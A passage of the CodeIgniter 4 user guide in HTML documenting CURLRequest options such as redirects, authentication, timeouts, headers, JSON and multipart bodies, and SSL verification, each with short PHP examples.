<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nv">$client</span><span class="o">-&gt;</span><span class="na">request</span><span class="p">(</span><span class="s1">&#39;GET&#39;</span><span class="p">,</span> <span class="s1">&#39;http://example.com&#39;</span><span class="p">,</span> <span class="p">[</span><span class="s1">&#39;allow_redirects&#39;</span> <span class="o">=&gt;</span> <span class="k">false</span><span class="p">]);</span>
</pre></div>
</div>
<p>Setting it to <code class="docutils literal notranslate"><span class="pre">true</span></code> will apply the default settings to the request:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nv">$client</span><span class="o">-&gt;</span><span class="na">request</span><span class="p">(</span><span class="s1">&#39;GET&#39;</span><span class="p">,</span> <span class="s1">&#39;http://example.com&#39;</span><span class="p">,</span> <span class="p">[</span><span class="s1">&#39;allow_redirects&#39;</span> <span class="o">=&gt;</span> <span class="k">true</span><span class="p">]);</span>

<span class="c1">// Sets the following defaults:</span>
<span class="s1">&#39;max&#39;</span>       <span class="o">=&gt;</span> <span class="mi">5</span><span class="p">,</span> <span class="c1">// Maximum number of redirects to follow before stopping</span>
<span class="s1">&#39;strict&#39;</span>    <span class="o">=&gt;</span> <span class="k">true</span><span class="p">,</span> <span class="c1">// Ensure POST requests stay POST requests through redirects</span>
<span class="s1">&#39;protocols&#39;</span> <span class="o">=&gt;</span> <span class="p">[</span><span class="s1">&#39;http&#39;</span><span class="p">,</span> <span class="s1">&#39;https&#39;</span><span class="p">]</span> <span class="c1">// Restrict redirects to one or more protocols</span>
</pre></div>
</div>
<p>You can pass in array as the value of the <code class="docutils literal notranslate"><span class="pre">allow_redirects</span></code> option to specify new settings in place of the defaults:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nv">$client</span><span class="o">-&gt;</span><span class="na">request</span><span class="p">(</span><span class="s1">&#39;GET&#39;</span><span class="p">,</span> <span class="s1">&#39;http://example.com&#39;</span><span class="p">,</span> <span class="p">[</span><span class="s1">&#39;allow_redirects&#39;</span> <span class="o">=&gt;</span> <span class="p">[</span>
        <span class="s1">&#39;max&#39;</span>       <span class="o">=&gt;</span> <span class="mi">10</span><span class="p">,</span>
        <span class="s1">&#39;protocols&#39;</span> <span class="o">=&gt;</span> <span class="p">[</span><span class="s1">&#39;https&#39;</span><span class="p">]</span> <span class="c1">// Force HTTPS domains only.</span>
<span class="p">]]);</span>
</pre></div>
</div>
<div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last">Following redirects does not work when PHP is in safe_mode or open_basedir is enabled.</p>
</div>
</div>
<div class="section" id="auth">
<h3><a class="toc-backref" href="#id7">auth</a><a class="headerlink" href="#auth" title="Permalink to this headline">¶</a></h3>
<p>Allows you to provide Authentication details for <a class="reference external" href="https://www.ietf.org/rfc/rfc2069.txt">HTTP Basic</a> and
<a class="reference external" href="https://www.ietf.org/rfc/rfc2069.txt">Digest</a> and authentication. Your script may have to do extra to support
Digest authentication - this simply passes the username and password along for you. The value must be an
array where the first element is the username, and the second is the password. The third parameter should be
the type of authentication to use, either <code class="docutils literal notranslate"><span class="pre">basic</span></code> or <code class="docutils literal notranslate"><span class="pre">digest</span></code>:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nv">$client</span><span class="o">-&gt;</span><span class="na">request</span><span class="p">(</span><span class="s1">&#39;GET&#39;</span><span class="p">,</span> <span class="s1">&#39;http://example.com&#39;</span><span class="p">,</span> <span class="p">[</span><span class="s1">&#39;auth&#39;</span> <span class="o">=&gt;</span> <span class="p">[</span><span class="s1">&#39;username&#39;</span><span class="p">,</span> <span class="s1">&#39;password&#39;</span><span class="p">,</span> <span class="s1">&#39;digest&#39;</span><span class="p">]]);</span>
</pre></div>
</div>
</div>
<div class="section" id="body">
<h3><a class="toc-backref" href="#id8">body</a><a class="headerlink" href="#body" title="Permalink to this headline">¶</a></h3>
<p>There are two ways to set the body of the request for request types that support them, like PUT, OR POST.
The first way is to use the <code class="docutils literal notranslate"><span class="pre">setBody()</span></code> method:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nv">$client</span><span class="o">-&gt;</span><span class="na">setBody</span><span class="p">(</span><span class="nv">$body</span><span class="p">)</span>
       <span class="o">-&gt;</span><span class="na">request</span><span class="p">(</span><span class="s1">&#39;put&#39;</span><span class="p">,</span> <span class="s1">&#39;http://example.com&#39;</span><span class="p">);</span>
</pre></div>
</div>
<p>The second method is by passing a <code class="docutils literal notranslate"><span class="pre">body</span></code> option in. This is provided to maintain Guzzle API compatibility,
and functions the exact same way as the previous example. The value must be a string:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nv">$client</span><span class="o">-&gt;</span><span class="na">request</span><span class="p">(</span><span class="s1">&#39;put&#39;</span><span class="p">,</span> <span class="s1">&#39;http://example.com&#39;</span><span class="p">,</span> <span class="p">[</span><span class="s1">&#39;body&#39;</span> <span class="o">=&gt;</span> <span class="nv">$body</span><span class="p">]);</span>
</pre></div>
</div>
</div>
<div class="section" id="cert">
<h3><a class="toc-backref" href="#id9">cert</a><a class="headerlink" href="#cert" title="Permalink to this headline">¶</a></h3>
<p>To specify the location of a PEM formatted client-side certificate, pass a string with the full path to the
file as the <code class="docutils literal notranslate"><span class="pre">cert</span></code> option. If a password is required, set the value to an array with the first element
as the path to the certificate, and the second as the password:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nv">$client</span><span class="o">-&gt;</span><span class="na">request</span><span class="p">(</span><span class="s1">&#39;get&#39;</span><span class="p">,</span> <span class="s1">&#39;/&#39;</span><span class="p">,</span> <span class="p">[</span><span class="s1">&#39;cert&#39;</span> <span class="o">=&gt;</span> <span class="p">[</span><span class="s1">&#39;/path/getServer.pem&#39;</span><span class="p">,</span> <span class="s1">&#39;password&#39;</span><span class="p">]);</span>
</pre></div>
</div>
</div>
<div class="section" id="connect-timeout">
<h3><a class="toc-backref" href="#id10">connect_timeout</a><a class="headerlink" href="#connect-timeout" title="Permalink to this headline">¶</a></h3>
<p>By default, CodeIgniter does not impose a limit for cURL to attempt to connect to a website. If you need to
modify this value, you can do so by passing the amount of time in seconds with the <code class="docutils literal notranslate"><span class="pre">connect_timeout</span></code> option.
You can pass 0 to wait indefinitely:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nv">$response</span><span class="o">-&gt;</span><span class="na">request</span><span class="p">(</span><span class="s1">&#39;GET&#39;</span><span class="p">,</span> <span class="s1">&#39;http://example.com&#39;</span><span class="p">,</span> <span class="p">[</span><span class="s1">&#39;connect_timeout&#39;</span> <span class="o">=&gt;</span> <span class="mi">0</span><span class="p">]);</span>
</pre></div>
</div>
</div>
<div class="section" id="cookie">
<h3><a class="toc-backref" href="#id11">cookie</a><a class="headerlink" href="#cookie" title="Permalink to this headline">¶</a></h3>
<p>This specifies the filename that CURL should use to read cookie values from, and
to save cookie values to. This is done using the CURL_COOKIEJAR and CURL_COOKIEFILE options.
An example:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nv">$response</span><span class="o">-&gt;</span><span class="na">request</span><span class="p">(</span><span class="s1">&#39;GET&#39;</span><span class="p">,</span> <span class="s1">&#39;http://example.com&#39;</span><span class="p">,</span> <span class="p">[</span><span class="s1">&#39;cookie&#39;</span> <span class="o">=&gt;</span> <span class="nx">WRITEPATH</span> <span class="o">.</span> <span class="s1">&#39;CookieSaver.txt&#39;</span><span class="p">]);</span>
</pre></div>
</div>
</div>
<div class="section" id="debug">
<h3><a class="toc-backref" href="#id12">debug</a><a class="headerlink" href="#debug" title="Permalink to this headline">¶</a></h3>
<p>When <code class="docutils literal notranslate"><span class="pre">debug</span></code> is passed and set to <code class="docutils literal notranslate"><span class="pre">true</span></code>, this will enable additional debugging to echo to STDERR during the
script execution. This is done by passing CURLOPT_VERBOSE and echoing the output. So, when you’re running a built-in
server via <code class="docutils literal notranslate"><span class="pre">spark</span> <span class="pre">serve</span></code> you will see the output in the console. Otherwise, the output will be written to
the server’s error log.</p>
<blockquote>
<div>$response-&gt;request(‘GET’, ‘<a class="reference external" href="http://example.com">http://example.com</a>’, [‘debug’ =&gt; true]);</div></blockquote>
<p>You can pass a filename as the value for debug to have the output written to a file:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nv">$response</span><span class="o">-&gt;</span><span class="na">request</span><span class="p">(</span><span class="s1">&#39;GET&#39;</span><span class="p">,</span> <span class="s1">&#39;http://example.com&#39;</span><span class="p">,</span> <span class="p">[</span><span class="s1">&#39;debug&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;/usr/local/curl_log.txt&#39;</span><span class="p">]);</span>
</pre></div>
</div>
</div>
<div class="section" id="delay">
<h3><a class="toc-backref" href="#id13">delay</a><a class="headerlink" href="#delay" title="Permalink to this headline">¶</a></h3>
<p>Allows you to pause a number of milliseconds before sending the request:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="c1">// Delay for 2 seconds</span>
<span class="nv">$response</span><span class="o">-&gt;</span><span class="na">request</span><span class="p">(</span><span class="s1">&#39;GET&#39;</span><span class="p">,</span> <span class="s1">&#39;http://example.com&#39;</span><span class="p">,</span> <span class="p">[</span><span class="s1">&#39;delay&#39;</span> <span class="o">=&gt;</span> <span class="mi">2000</span><span class="p">]);</span>
</pre></div>
</div>
</div>
<div class="section" id="form-params">
<h3><a class="toc-backref" href="#id14">form_params</a><a class="headerlink" href="#form-params" title="Permalink to this headline">¶</a></h3>
<p>You can send form data in an application/x-www-form-urlencoded POST request by passing an associative array in
the <code class="docutils literal notranslate"><span class="pre">form_params</span></code> option. This will set the <code class="docutils literal notranslate"><span class="pre">Content-Type</span></code> header to <code class="docutils literal notranslate"><span class="pre">application/x-www-form-urlencoded</span></code>
if it’s not already set:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nv">$client</span><span class="o">-&gt;</span><span class="na">request</span><span class="p">(</span><span class="s1">&#39;POST&#39;</span><span class="p">,</span> <span class="s1">&#39;/post&#39;</span><span class="p">,</span> <span class="p">[</span>
        <span class="s1">&#39;form_params&#39;</span> <span class="o">=&gt;</span> <span class="p">[</span>
                <span class="s1">&#39;foo&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;bar&#39;</span><span class="p">,</span>
                <span class="s1">&#39;baz&#39;</span> <span class="o">=&gt;</span> <span class="p">[</span><span class="s1">&#39;hi&#39;</span><span class="p">,</span> <span class="s1">&#39;there&#39;</span><span class="p">]</span>
        <span class="p">]</span>
<span class="p">]);</span>
</pre></div>
</div>
<div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last"><code class="docutils literal notranslate"><span class="pre">form_params</span></code> cannot be used with the <code class="docutils literal notranslate"><span class="pre">multipart</span></code> option. You will need to use one or the other.
Use <code class="docutils literal notranslate"><span class="pre">form_params</span></code> for <code class="docutils literal notranslate"><span class="pre">application/x-www-form-urlencoded</span></code> request, and <code class="docutils literal notranslate"><span class="pre">multipart</span></code> for <code class="docutils literal notranslate"><span class="pre">multipart/form-data</span></code>
requests.</p>
</div>
</div>
<div class="section" id="headers">
<h3><a class="toc-backref" href="#id15">headers</a><a class="headerlink" href="#headers" title="Permalink to this headline">¶</a></h3>
<p>While you can set any headers this request needs by using the <code class="docutils literal notranslate"><span class="pre">setHeader()</span></code> method, you can also pass an associative
array of headers in as an option. Each key is the name of a header, and each value is a string or array of strings
representing the header field values:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nv">$client</span><span class="o">-&gt;</span><span class="na">request</span><span class="p">(</span><span class="s1">&#39;get&#39;</span><span class="p">,</span> <span class="s1">&#39;/&#39;</span><span class="p">,</span> <span class="p">[</span>
        <span class="s1">&#39;headers&#39;</span> <span class="o">=&gt;</span> <span class="p">[</span>
                <span class="s1">&#39;User-Agent&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;testing/1.0&#39;</span><span class="p">,</span>
                <span class="s1">&#39;Accept&#39;</span>     <span class="o">=&gt;</span> <span class="s1">&#39;application/json&#39;</span><span class="p">,</span>
                <span class="s1">&#39;X-Foo&#39;</span>      <span class="o">=&gt;</span> <span class="p">[</span><span class="s1">&#39;Bar&#39;</span><span class="p">,</span> <span class="s1">&#39;Baz&#39;</span><span class="p">]</span>
        <span class="p">]</span>
<span class="p">]);</span>
</pre></div>
</div>
<p>If headers are passed into the constructor they are treated as default values that will be overridden later by any
further headers arrays or calls to <code class="docutils literal notranslate"><span class="pre">setHeader()</span></code>.</p>
</div>
<div class="section" id="http-errors">
<h3><a class="toc-backref" href="#id16">http_errors</a><a class="headerlink" href="#http-errors" title="Permalink to this headline">¶</a></h3>
<p>By default, CURLRequest will fail if the HTTP code returned is greater than or equal to 400. You can set
<code class="docutils literal notranslate"><span class="pre">http_errors</span></code> to <code class="docutils literal notranslate"><span class="pre">false</span></code> to return the content instead:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nv">$client</span><span class="o">-&gt;</span><span class="na">request</span><span class="p">(</span><span class="s1">&#39;GET&#39;</span><span class="p">,</span> <span class="s1">&#39;/status/500&#39;</span><span class="p">);</span>
<span class="c1">// Will fail verbosely</span>

<span class="nv">$res</span> <span class="o">=</span> <span class="nv">$client</span><span class="o">-&gt;</span><span class="na">request</span><span class="p">(</span><span class="s1">&#39;GET&#39;</span><span class="p">,</span> <span class="s1">&#39;/status/500&#39;</span><span class="p">,</span> <span class="p">[</span><span class="s1">&#39;http_errors&#39;</span> <span class="o">=&gt;</span> <span class="k">false</span><span class="p">]);</span>
<span class="k">echo</span> <span class="nv">$res</span><span class="o">-&gt;</span><span class="na">getStatusCode</span><span class="p">();</span>
<span class="c1">// 500</span>
</pre></div>
</div>
</div>
<div class="section" id="json">
<h3><a class="toc-backref" href="#id17">json</a><a class="headerlink" href="#json" title="Permalink to this headline">¶</a></h3>
<p>The <code class="docutils literal notranslate"><span class="pre">json</span></code> option is used to easily upload JSON encoded data as the body of a request. A Content-Type header
of <code class="docutils literal notranslate"><span class="pre">application/json</span></code> is added, overwriting any Content-Type that might be already set. The data provided to
this option can be any value that <code class="docutils literal notranslate"><span class="pre">json_encode()</span></code> accepts:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nv">$response</span> <span class="o">=</span> <span class="nv">$client</span><span class="o">-&gt;</span><span class="na">request</span><span class="p">(</span><span class="s1">&#39;PUT&#39;</span><span class="p">,</span> <span class="s1">&#39;/put&#39;</span><span class="p">,</span> <span class="p">[</span><span class="s1">&#39;json&#39;</span> <span class="o">=&gt;</span> <span class="p">[</span><span class="s1">&#39;foo&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;bar&#39;</span><span class="p">]]);</span>
</pre></div>
</div>
<div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last">This option does not allow for any customization of the <code class="docutils literal notranslate"><span class="pre">json_encode()</span></code> function, or the Content-Type
header. If you need that ability, you will need to encode the data manually, passing it through the <code class="docutils literal notranslate"><span class="pre">setBody()</span></code>
method of CURLRequest, and set the Content-Type header with the <code class="docutils literal notranslate"><span class="pre">setHeader()</span></code> method.</p>
</div>
</div>
<div class="section" id="multipart">
<h3><a class="toc-backref" href="#id18">multipart</a><a class="headerlink" href="#multipart" title="Permalink to this headline">¶</a></h3>
<p>When you need to send files and other data via a POST request, you can use the <code class="docutils literal notranslate"><span class="pre">multipart</span></code> option, along with
the <a class="reference external" href="https://www.php.net/manual/en/class.curlfile.php">CURLFile Class</a>. The values should be an associative array
of POST data to send. For safer usage, the legacy method of uploading files by prefixing their name with an <cite>&#64;</cite>
has been disabled. Any files that you want to send must be passed as instances of CURLFile:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nv">$post_data</span> <span class="o">=</span> <span class="p">[</span>
        <span class="s1">&#39;foo&#39;</span>      <span class="o">=&gt;</span> <span class="s1">&#39;bar&#39;</span><span class="p">,</span>
        <span class="s1">&#39;userfile&#39;</span> <span class="o">=&gt;</span> <span class="k">new</span> <span class="nx">\CURLFile</span><span class="p">(</span><span class="s1">&#39;/path/to/file.txt&#39;</span><span class="p">)</span>
<span class="p">];</span>
</pre></div>
</div>
<div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last"><code class="docutils literal notranslate"><span class="pre">multipart</span></code> cannot be used with the <code class="docutils literal notranslate"><span class="pre">form_params</span></code> option. You can only use one or the other. Use
<code class="docutils literal notranslate"><span class="pre">form_params</span></code> for <code class="docutils literal notranslate"><span class="pre">application/x-www-form-urlencoded</span></code> requests, and <code class="docutils literal notranslate"><span class="pre">multipart</span></code> for <code class="docutils literal notranslate"><span class="pre">multipart/form-data</span></code>
requests.</p>
</div>
</div>
<div class="section" id="query">
<h3><a class="toc-backref" href="#id19">query</a><a class="headerlink" href="#query" title="Permalink to this headline">¶</a></h3>
<p>You can pass along data to send as query string variables by passing an associative array as the <code class="docutils literal notranslate"><span class="pre">query</span></code> option:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="c1">// Send a GET request to /get?foo=bar</span>
<span class="nv">$client</span><span class="o">-&gt;</span><span class="na">request</span><span class="p">(</span><span class="s1">&#39;GET&#39;</span><span class="p">,</span> <span class="s1">&#39;/get&#39;</span><span class="p">,</span> <span class="p">[</span><span class="s1">&#39;query&#39;</span> <span class="o">=&gt;</span> <span class="p">[</span><span class="s1">&#39;foo&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;bar&#39;</span><span class="p">]]);</span>
</pre></div>
</div>
</div>
<div class="section" id="timeout">
<h3><a class="toc-backref" href="#id20">timeout</a><a class="headerlink" href="#timeout" title="Permalink to this headline">¶</a></h3>
<p>By default, cURL functions are allowed to run as long as they take, with no time limit. You can modify this with the <code class="docutils literal notranslate"><span class="pre">timeout</span></code>
option. The value should be the number of seconds you want the functions to execute for. Use 0 to wait indefinitely:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nv">$response</span><span class="o">-&gt;</span><span class="na">request</span><span class="p">(</span><span class="s1">&#39;GET&#39;</span><span class="p">,</span> <span class="s1">&#39;http://example.com&#39;</span><span class="p">,</span> <span class="p">[</span><span class="s1">&#39;timeout&#39;</span> <span class="o">=&gt;</span> <span class="mi">5</span><span class="p">]);</span>
</pre></div>
</div>
</div>
<div class="section" id="user-agent">
<h3><a class="toc-backref" href="#id21">user_agent</a><a class="headerlink" href="#user-agent" title="Permalink to this headline">¶</a></h3>
<p>Allows specifying the User Agent for requests:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nv">$response</span><span class="o">-&gt;</span><span class="na">request</span><span class="p">(</span><span class="s1">&#39;GET&#39;</span><span class="p">,</span> <span class="s1">&#39;http://example.com&#39;</span><span class="p">,</span> <span class="p">[</span><span class="s1">&#39;user_agent&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;CodeIgniter Framework v4&#39;</span><span class="p">]);</span>
</pre></div>
</div>
</div>
<div class="section" id="verify">
<h3><a class="toc-backref" href="#id22">verify</a><a class="headerlink" href="#verify" title="Permalink to this headline">¶</a></h3>
<p>This option describes the SSL certificate verification behavior. If the <code class="docutils literal notranslate"><span class="pre">verify</span></code> option is <code class="docutils literal notranslate"><span class="pre">true</span></code>, it enables the
SSL certificate verification and uses the default CA bundle provided by the operating system. If set to <code class="docutils literal notranslate"><span class="pre">false</span></code> it
will disable the certificate verification (this is insecure, and allows man-in-the-middle attacks!). You can set it
to a string that contains the path to a CA bundle to enable verification with a custom certificate. The default value
is true:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="c1">// Use the system&#39;s CA bundle (this is the default setting)</span>
<span class="nv">$client</span><span class="o">-&gt;</span><span class="na">request</span><span class="p">(</span><span class="s1">&#39;GET&#39;</span><span class="p">,</span> <span class="s1">&#39;/&#39;</span><span class="p">,</span> <span class="p">[</span><span class="s1">&#39;verify&#39;</span> <span class="o">=&gt;</span> <span class="k">true</span><span class="p">]);</span>

<span class="c1">// Use a custom SSL certificate on disk.</span>
<span class="nv">$client</span><span class="o">-&gt;</span><span class="na">request</span><span class="p">(</span><span class="s1">&#39;GET&#39;</span><span class="p">,</span> <span class="s1">&#39;/&#39;</span><span class="p">,</span> <span class="p">[</span><span class="s1">&#39;verify&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;/path/to/cert.pem&#39;</span><span class="p">]);</span>

<span class="c1">// Disable validation entirely. (Insecure!)</span>
<span class="nv">$client</span><span class="o">-&gt;</span><span class="na">request</span><span class="p">(</span><span class="s1">&#39;GET&#39;</span><span class="p">,</span> <span class="s1">&#39;/&#39;</span><span class="p">,</span> <span class="p">[</span><span class="s1">&#39;verify&#39;</span> <span class="o">=&gt;</span> <span class="k">false</span><span class="p">]);</span>
</pre></div>
</div>
</div>
<div class="section" id="version">
<h3><a class="toc-backref" href="#id23">version</a><a class="headerlink" href="#version" title="Permalink to this headline">¶</a></h3>
<p>To set the HTTP protocol to use, you can pass a string or float with the version number (typically either 1.0
or 1.1, 2.0 is currently unsupported.):</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="c1">// Force HTTP/1.0</span>
<span class="nv">$client</span><span class="o">-&gt;</span><span class="na">request</span><span class="p">(</span><span class="s1">&#39;GET&#39;</span><span class="p">,</span> <span class="s1">&#39;/&#39;</span><span class="p">,</span> <span class="p">[</span><span class="s1">&#39;version&#39;</span> <span class="o">=&gt;</span> <span class="mf">1.0</span><span class="p">]);</span>
</pre></div>
</div>
</div>
</div>
</div>


           </div>
           
          </div>
          <footer>
    <div class="rst-footer-buttons" role="navigation" aria-label="footer navigation">
        <a href="email.html" class="btn btn-neutral float-right" title="Email Class" accesskey="n" rel="next">Next <span class="fa fa-arrow-circle-right" aria-hidden="true"></span></a>
        <a href="caching.html" class="btn btn-neutral float-left" title="Caching Driver" accesskey="p" rel="prev"><span class="fa fa-arrow-circle-left" aria-hidden="true"></span> Previous</a>
    </div>

  <hr/>

  <div role="contentinfo">
    <p>
        &#169; Copyright 2019-2021 CodeIgniter Foundation.
      <span class="lastupdated">
        Last updated on Feb 01, 2021.
      </span>

    </p>
  </div>
    
    
    
    Built with <a href="https://www.sphinx-doc.org/">Sphinx</a> using a
    
    <a href="https://github.com/readthedocs/sphinx_rtd_theme">theme</a>
    
    provided by <a href="https://readthedocs.org">Read the Docs</a>. 

</footer>
        </div>
      </div>

    </section>

  </div>
  

  <script type="text/javascript">
      jQuery(function () {
          SphinxRtdTheme.Navigation.enable(false);
      });
  </script>

  
  
    
   

</body>
</html>